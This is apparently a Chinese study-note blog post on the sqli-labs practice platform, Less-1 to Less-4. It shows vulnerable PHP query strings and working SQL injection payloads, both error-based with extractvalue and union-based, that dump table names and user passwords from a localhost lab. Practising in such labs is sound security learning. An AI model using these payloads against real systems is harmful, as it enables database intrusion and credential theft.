sqli-labs学习

Posted 可乐

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs学习相关的知识,希望对你有一定的参考价值。

学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂

group_concat函数

将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果

同理的还有

concat_ws()

limit star,size用法

start:从第几条记录开始。

size:读取几条记录。

 

sqli-lab-1


关键代码

$sql="SELECT * FROM users WHERE id=\'$id\' LIMIT 0,1";

是被单引号包围,即字符型注入,写payload要末尾注释单引号

用concat_ws()可以加分隔符,便于判断

接下来查询当前数据库的表~  //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~

 

注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的

 

 

 用limit查找所有的表名

显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回

接下来爆字段

用concat_wa()发现没用,于是用group_concat()

接下来就是爆字段内容了

paload格式为: select 字段名 from 表名

如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有-  即不能union 注入

接下来利用手工报错注入

 介绍两个函数

extractvalue()

updatexml()

用法参考:

https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1\' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23

爆值

http://127.0.0.1/SQL/Less-1/?id=1\' and 1=extractvalue(1,concat(1,(select group_concat(password,\'||\',username) from users)))  %23

看sqli-labs

关键代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

  id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号

 

 less-3

关键代码

$sql="SELECT * FROM users WHERE id=(\'$id\') LIMIT 0,1";

less-4

关键代码

$id = \'"\' . $id . \'"\';
//echo $id."\\n";
//echo "<br>";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

id是被一对双引号包围的

发现加‘不报错

这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+

 

以上是关于sqli-labs学习的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入学习

(sql injection)sqli-lab 15: where 子句中的不可理解的行为

sqli-labs学习笔记

SQL注入练习平台sqli-labs

SQL注入练习平台sqli-labs

Sqli-labs环境搭建教程(sql注入)